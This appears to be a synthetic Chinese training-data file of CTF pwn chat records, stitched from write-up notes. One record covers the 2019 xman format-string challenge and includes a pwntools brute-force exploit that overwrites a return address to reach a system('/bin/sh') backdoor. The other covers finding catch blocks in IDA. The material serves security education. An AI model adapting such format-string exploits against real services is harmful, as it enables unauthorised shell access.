资料来源：其它漏洞/格式化字符串/格式化字符串.md；主题：调试断点，方便跟踪 payload 的执行；分类：misc_vuln。
要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。

[Assistant]
# 进入交互
p.interactive()
```

例题 2019 xman format

同样是格式化字符串。

```plain
void __cdecl sub_8048651()
{
  char *buf; // [esp+Ch] [ebp-Ch]

  puts("...");
  buf = (char *)malloc(0x100u);
  read(0, buf, 0x37u);
  call_vuln(buf);
}
```

但与上一题不同的是这次的格式化字符串是离线操作，不能泄露地址。

```plain
void __cdecl vuln(char *buf)
{
  char *v1; // eax
  const char *format; // [esp+Ch] [ebp-Ch]

  puts("...");
  v1 = strtok(buf, "|");
  printf(v1);
  while ( 1 )
  {
    format = strtok(0, "|");
    if ( !format )
      break;
    printf(format);
  }
}
```

另外还有一个后门函数。

```plain
int backdoor()
{
  return system("/bin/sh");
}
```

由于不能泄露地址，因此只能爆破 ebp 链指向返回地址然后写返回地址为 backdoor 函数地址来 get shell 。

[图片: image]

```plain
from pwn import *

elf = ELF("./xman_2019_format")
context(arch=elf.arch, os=elf.os)
context.log_level = 'debug'

start = lambda: remote("node4.buuoj.cn", 25559)  # process([elf.path])

while True:
    global p
    try:
        p = start()
        # gdb.attach(p, "b *0x080485F6\nb *0x8048606")
        # pause()
        payload = "%" + str(0x9c) + "c%10$hhn|%" + str(0x85ab) + "c%18$hn"
        p.sendlineafter('...', payload)
        sleep(1)
        p.sendline('cat flag')
        p.recvline_contains('flag', timeout=1)
        p.interactive()
    except KeyboardInterrupt:
        p.close()
        exit(0)
    except:
        p.close()
```

其它漏洞/格式化字符串/格式化字符串.md

其它漏洞/格式化字符串/格式化字符串.md


[System] 你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。

[User]
请讲解 CTF pwn/二进制安全知识点「快速查找catch块」。
资料来源：其它/2024ycb logger/wp.md；主题：2024ycb logger；分类：misc_pwn。
要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。

[Assistant]
### 快速查找catch块

当代码量比较大的时候，如果一个程序中有许多异常处理，我们再从汇编层面去人为查找非常的耗时间，使用 IDA 的 Search 功能直接定位到 catch 块分配处从而快速定位到 catch 块。

之前我们的分析之后可以知道，ida 是能够知道对应的 catch 块是 owned by 哪个 throw_address的，就用这个地址来搜索。

所以一旦我们找到了 throw 函数，直接搜索即可找到 catch，而不是满篇汇编的去大海捞针。